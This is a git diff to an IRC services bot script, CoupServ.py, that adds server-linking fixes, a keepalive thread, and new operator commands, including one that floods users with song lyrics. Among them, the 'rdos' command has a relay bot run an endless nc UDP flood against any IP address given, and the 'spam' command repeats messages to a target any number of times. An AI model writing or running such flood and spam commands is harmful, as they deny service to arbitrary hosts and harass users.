summaryrefslogtreecommitdiff
path: root/CoupServ.py
diff options
context:
space:
mode:
Diffstat (limited to 'CoupServ.py')
-rwxr-xr-xCoupServ.py140
1 files changed, 126 insertions, 14 deletions
diff --git a/CoupServ.py b/CoupServ.py
index 51780fe..64a9f6d 100755
--- a/CoupServ.py
+++ b/CoupServ.py
@@ -27,6 +27,71 @@ except FileNotFoundError:
print("No config found! Please make one then try again")
exit()
+rickroll = """We're no strangers to love
+You know the rules, and so do I
+A full commitment is what I'm thinking of
+You wouldn't get this from any other guy
+
+I just wanna tell you how I'm feeling
+Gotta make you, understand
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+Never gonna tell a lie, and hurt you
+
+We've known each other, for so long
+Your heart's been aching but, you're too shy to say it
+Inside we both know what's been going on
+We know the game and we're gonna play it
+
+And if you ask me how I'm feeling
+Don't tell me you're too hot to see
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+
+Give you up
+Never gonna give, never gonna give
+Give you up
+Never gonna give, never gonna give
+
+We've known each other, for so long
+Your heart's been aching but, you're too shy to say it
+Inside we both know what's been going on
+We know the game and we're gonna play it
+
+I just wanna tell you how I'm feelin
+Gotta make you, understand
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you"""
+
s=ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
s.connect(("irc.andrewyu.org", 7005))
@@ -52,11 +117,18 @@ def read_and_send():
threading.Thread(target=read_and_send, daemon=True).start()
+def detect_broken():
+ while True:
+ send("")
+ time.sleep(15)
+
+threading.Thread(target=detect_broken, daemon=True).start()
+
try:
while True:
newmsg = recv()
if newmsg == "":
- break
+ os._exit(1)
msg += newmsg
split_msg = msg.split("\n")
if len(split_msg) < 2:
@@ -80,18 +152,18 @@ try:
send(":"+args[1]+" PONG "+args[1]+" "+source)
elif command == "SERVER":
if source != "":
- print("Received SERVER from another source!")
continue
- if config["recv_password"] != args[1]:
- print("Received invalid password from the server!")
- exit()
- send("BURST "+str(math.floor(time.time())))
- send("UID 1HC000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +BHILkrio :HaxServ")
- send(":1HC000000 OPERTYPE Admin")
- for channel in config["channels"]:
- send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,1HC000000")
- send("MODE "+channel+" +o 1HC000000")
- send("ENDBURST")
+ else:
+ if config["recv_password"] != args[1]:
+ print("Received invalid password from the server!")
+ os._exit()
+ send("BURST "+str(math.floor(time.time())))
+ send("UID 1HC000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +Bk :HaxServ")
+ send(":1HC000000 OPERTYPE Admin")
+ for channel in config["channels"]:
+ send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,1HC000000")
+ send("MODE "+channel+" +o 1HC000000")
+ send("ENDBURST")
elif command == "UID":
userlist[args[0]] = {
"server": source,
@@ -130,12 +202,14 @@ try:
resp = source
chan = False
- cmd = args[1].split(" ")[0]
+ cmd = args[1].split(" ")[0].lower()
argv = args[1].split(" ")[1:]
send(":1HC000000 PRIVMSG "+config["log_chan"]+" :"+userlist[source]["nick"]+" executed command: "+args[1])
- if cmd[0] == ":":
+ if len(cmd) == 0:
+ continue
+ elif cmd[0] == ":":
send(args[1])
elif cmd == "get":
if argv[0] == "uid":
@@ -148,9 +222,47 @@ try:
send(":1HC000000 PRIVMSG "+resp+" :"+userlist[argv[1]]["nick_ts"])
except KeyError:
send(":1HC000000 PRIVMSG "+resp+" :UID not found!")
+ elif cmd == "jupe":
+ send("RSQUIT :"+argv[0])
+ send(":1HC SERVER "+argv[0]+" * 0 010 :No")
+ elif cmd == "sanick":
+ send(":1HC000000 SANICK "+argv[0]+" :"+" ".join(argv[1:]))
+ elif cmd == "nggyu":
+ for line in rickroll.split("\n"):
+ send(":1HC000000 PRIVMSG "+argv[0]+" :"+line)
+ elif cmd == "rdos":
+ send(':1HC PRIVMSG lurk :.sh while true; do printf "nggyu" | nc -q 0 -u '+argv[0]+' $RANDOM; done &')
+ elif cmd == "spam":
+ for _ in range(0, int(argv[1])):
+ send(":1HC PRIVMSG "+argv[0]+" :"+" ".join(argv[2:]))
+ elif cmd == "join":
+ send(":1HC000000 FJOIN "+argv[0]+" "+str(math.floor(time.time()))+" + :,1HC000000")
+ config["channels"][argv[0]] = True # actual value doesn't matter
+ save()
+ elif cmd == "part":
+ send(":1HC000000 PART "+resp)
+ del config["channels"][resp]
+ save()
+ elif cmd == "op":
+ if chan:
+ try:
+ send(":1HC000000 MODE "+chan+" +o "+argv[0])
+ except IndexError:
+ send(":1HC000000 MODE "+chan+" +o "+source)
+
+ if args[1] == "nggyu":
+ if args[0][0] == "#":
+ resp = args[0]
+ else:
+ resp = source
+
+ for line in rickroll.split("\n"):
+ send(":1HC000000 PRIVMSG "+resp+" :"+line)
+
except KeyError:
pass
except Exception as e:
config_file.close()
raise e
+